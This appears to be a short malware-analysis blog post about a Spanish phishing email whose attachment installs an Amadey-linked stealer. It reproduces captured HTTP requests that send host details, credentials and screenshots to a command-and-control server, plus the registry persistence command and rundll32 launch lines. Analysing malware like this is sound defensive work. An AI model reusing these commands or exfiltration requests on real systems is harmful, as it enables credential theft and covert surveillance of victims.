This morning, an interesting phishing email landed in my spam trap. The mail was redacted in Spanish and, as usual, asked the recipient to urgently process the attached document. The filename was "AVISO.001" (This extension is used by multi-volume archives). The archive contained a PE file with a very long name: AVISO11504122921827776385010767000154304736120425314155656824545860211706529881523930427.exe (SHA256:ff834f404b977a475ef56f1fa81cf91f0ac7e07b8d44e0c224861a3287f47c8c). The file is unknown on VT at this time so I did a quick analysis.
It first performs a quick review of the target and exfiltrates the collected information:
POST /7Ndd3SnW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176[.]111[.]174[.]67 Content-Length: 83 Cache-Control: no-cache id=152140224449&vs=2.11&sd=c5c741&os=9&bi=1&ar=1&pc=WIN7X64&un=user01&dm=&av=0&lv=0
You can see the name of the computer ("pc="), the user ("un="). No AV is running (av=0). There is an ID (randomly generated) and a version of the malware or campaign? ("vs=").
The next step is to drop itself into
remnux@remnux:/MalwareZoo/20210331$ shasum -a 256 *.dll 6f917b86c623a4ef2326de062cb206208b25d93f6d7a2911bc7c10f7c83ffd64 cred.dll 3d0efa67d54ee1452aa53f35db5552fe079adfd14f1fe312097b266943dd9644 scr.dll
Persistence is achieved via a new registry key. Any shortcut created to the location pointed by a subkey
"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\011ab573a3\
DLLs are not loaded into the main program with LoadLibrary() but there are launched from rundll32:
"C:\Windows\System32\rundll32.exe" C:\ProgramData\5eba991cccd123\cred.dll, Main "C:\Windows\System32\rundll32.exe" C:\ProgramData\5eba991cccd123\scr.dll, Main
Once the DLLs are launched, the exfiltration of data starts:
cred.dll is responsible for searching credentials. Example of probes detected:
Data is then exfiltrated:
POST //7Ndd3SnW/index.php HTTP/1.1 Host: 184.108.40.206 Content-Length: 21 Content-Type: application/x-www-form-urlencoded id=152140224449&cred=
(In my sandbox, my credentials was available)
scr.dll is used to take screenshots at regular interval and also exfiltrate them:
POST //7Ndd3SnW/index.php?scr=up HTTP/1.1 Host: 220.127.116.11 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152140224449.jpg Connection: Keep-Alive Content-Length: 34758 --152140224449.jpg Content-Disposition: form-data; name="data"; filename="152140224449.jpg" Content-Type: application/octet-stream ......JFIF.............C.......... (data removed)
Note the nice User-Agent: "Uploador". I found references to this string back in 2015!.
Here is a screenshot of the C2 panel, a good old Amadey:
Even if the malware looks old-fashioned, it remains effective and already made some victims. I found a lot of screenshots (461) on the C2 server:
Xavier Mertens (@xme)
Mar 31st 2021
Mar 31st 2021
2 weeks ago